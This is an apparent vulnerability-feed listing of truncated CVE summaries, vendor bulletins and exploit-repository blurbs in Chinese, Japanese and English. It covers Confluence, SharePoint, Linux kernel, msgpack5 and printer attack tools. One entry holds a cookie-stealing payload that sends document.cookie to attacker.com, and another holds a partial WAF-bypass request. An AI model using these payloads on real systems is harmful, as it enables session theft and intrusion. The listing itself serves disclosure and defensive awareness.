CVE-2026-21876

CVE-2026-21876（OWASP CRS WAF 绕过） CVE-2026-21876 docker 容器 + 最小化 PoC。 我分别感谢 @airween 和 @fzipi 的快速响应！漏洞修复在很短的时间内就准备好了。 PoC POST /submit HTTP/1.1 Host: localhost User-Agent: curl/8.17.0 Accept: / Origin: https://example.com Content-Length: 367 Content-Type: multipart/form-data;...

CVE-2023-22527-POC

CVE-2023-22527 &color=brighgreen%3E 描述 旧版本的 Confluence Data Center 和 Server 中存在一个模板注入漏洞，允许未经身份验证的攻击者在受影响实例上实现 RCE。使用受影响版本的客户必须立即采取行动。大多数最新受支持的 Confluence Data Center 和 Server 版本不受此漏洞影响，因为该漏洞在常规版本更新中最终得到了缓解。但是，Atlassian 建议客户注意安装最新版本，以保护其实例免受 Atlassian 一月安全公告中概述的非关键漏洞的影响。 产品| 受影响版本 ---|--- Confluen...

Blackash-CVE-2025-61884

CVE-2025-61884 — 新たなOracle E-Business Suiteのバグにより、ログインなしでハッカーがデータにアクセスできる可能性 💀 CVE-2025-61884 — 完全な概要 🧾💥 フィールド| 詳細 ---|--- 識別子| CVE-2025-61884 製品| Oracle E-Business Suite — Oracle Configurator Runtime UI 影響を受けるバージョン| 12.2.3 → 12.2.14 攻撃ベクトル| ネットワーク HTTP — 認証なし でのアクセス 影響| 機密性 不正なデータ開示 CVSSv3.1基本スコ...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-54512 DESCRIPTION: jackson-databind contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor. From 2.10.0 until 2.18.8, 2.21.4, and...

EUVD-2026-95107

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

CVE-2026-107296 msgpack5: Decoding negative int64 values mutates the input buffer

msgpack5 is a msgpack v5 implementation for node.js and the browser. Prior to 6.1.0, decoding a negative signed 64-bit integer modifies the corresponding bytes in the caller-provided input buffer while computing the value. Applications that retain or reuse encoded input for integrity checks,...

CVE-2026-107296

The msgpack5 library, a msgpack v5 implementation for Node.js and the browser , contains a vulnerability in versions prior to 6.1.0 . When decoding a negative signed 64-bit integer , the library modifies the corresponding bytes in the caller-provided input buffer during value computation. This ca...

Security Bulletin: IBM Guardium Data Protection is affected by multiple vulnerabilities.

Summary IBM Guardium Data Protection has addressed these vulnerabilities in an update. Vulnerability Details CVEID:CVE-2026-84064 DESCRIPTION: IBM Guardium Data Protection 12.2 could allow a remote authenticated attacker to execute arbitrary SQL commands due to improper neutralization of special...

EUVD-2026-95105

Deserialization of Untrusted Data vulnerability in MainWP MainWP Child mainwp-child allows Object Injection.This issue affects MainWP Child: from n/a through 6.2.1...

CVE-2026-105436

The MainWP Child WordPress plugin (versions 6.2.1 and below ) is vulnerable to a Deserialization of Untrusted Data vulnerability. This flaw allows for Object Injection , which can lead to significant impacts on confidentiality, integrity, and availability. No specific remediation or exploit detai...

CVE-2026-105436 WordPress MainWP Child plugin <= 6.2.1 - Deserialization of untrusted data vulnerability

Deserialization of Untrusted Data vulnerability in MainWP MainWP Child mainwp-child allows Object Injection.This issue affects MainWP Child: from n/a through 6.2.1...

Security Bulletin: Multiple Vulnerabilities in IBM Java Runtime affecting Tivoli Netcool/OMNIbus

Summary Vulnerabilities in IBM® Runtime Environment Java™ Technology Edition, Version 8 that is used by Tivoli Netcool/OMNIbus have been addressed. Vulnerability Details CVEID:CVE-2026-47057 DESCRIPTION: Easily exploitable vulnerability allows unauthenticated attacker with network access via...

kernel: ipv6: fix use-after-free in ip6_finish_output2()

A flaw was found in the Linux kernel's IPv6 networking stack. A use-after-free vulnerability exists in the ip6finishoutput2 function, where a cached pointer to the IPv6 destination address can become stale after memory reallocation. An attacker could potentially exploit this to leak sensitive...

kernel: gfs2: Fix slab-use-after-free in qd_put

A flaw was found in the Linux kernel's GFS2 file system. During filesystem shutdown, quota data objects were freed without being properly removed from the Least Recently Used LRU list. This oversight could lead to a use-after-free vulnerability, where the system attempts to access memory that has...

kernel: nvme-tcp: reject a read that transferred too few bytes

A flaw was found in the NVMe-TCP implementation of the Linux kernel. This vulnerability occurs when the system completes a data read request even if the connected controller transfers fewer bytes than expected. As a result, the user application receives a mix of legitimate and stale data,...

kernel: ipv6: rpl: fix hdrlen overflow in ipv6_rpl_srh_decompress()

A flaw was found in the Linux kernel's IPv6 Routing Protocol for Low-Power and Lossy Networks RPL segment routing header SRH decompression function, ipv6rplsrhdecompress. An integer overflow occurs when processing a specially crafted IPv6 packet, causing the header length calculation to truncate...

Exploit-CVE-2023-22515

CVE-2023-22515 のエクスプロイト CVE-2023-22515 用のシンプルな bash スクリプトエクスプロイト。 情報 Confluence Data Center および Server インスタンスには、アクセス制御の欠陥（CVE-2023-22515）が存在し、攻撃者が不正な Confluence 管理者アカウントを作成し、Confluence インスタンスにアクセスできるようになります。 影響を受けるバージョン 8.0.0 8.0.1 8.0.2 8.0.3 8.0.4 8.1.0 8.1.1 8.1.3 8.1.4 8.2.0 8.2.1 8.2.2 8.2.3...

CVE-2026-32201-exploit

概要 CVE-2026-32201 用の Python エクスプロイト - Microsoft SharePoint Server における不適切な入力検証により、認証されていないネットワークスプーフィングが可能になります C:L/I:L。 影響を受けるバージョン: SharePoint Server 2016 Enterprise、2019、Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint /layouts/15/notify.aspx 出力例: + SharePoint...

CVE-2026-39047

PrintHack - 打印机安全测试工具 | | | | | | \ | \ | | | | | | | | | | | | | | | | | ⚠️ 免责声明 ：本工具仅用于合法的安全测试 和教育目的 。请负责任地使用，且仅限用于您拥有或已获得明确授权测试的系统。 🎯 功能特性 核心能力 🔌 原始套接字打印 - 通过端口 9100 与打印机直接通信 📄 PCL 载荷投递 - 发送打印机命令语言（PCL）载荷 🖼️ 数据外泄标记 - 将图像打印为 ASCII 艺术以用于隐蔽信道 💣 打印炸弹（DoS） - 发送海量载荷以测试打印机韧性 🎯 批量打印 - 同时针对多台打印机 🔴...

CVE-2023-22527_Confluence_RCE

CVE-2023-22527 Confluence RCE CVE-2023-22527 - Confluence Data CenterおよびConfluence ServerにおけるRCE（リモートコード実行）脆弱性 PoC 参考情報 CVE-2023-22527 - RCE（リモートコード実行）脆弱性：Confluence Data CenterおよびConfluence Server | Atlassianサポート | Atlassianドキュメント CONFSERVER-93833 RCE（リモートコード実行）in Confluence Data Center and Serv...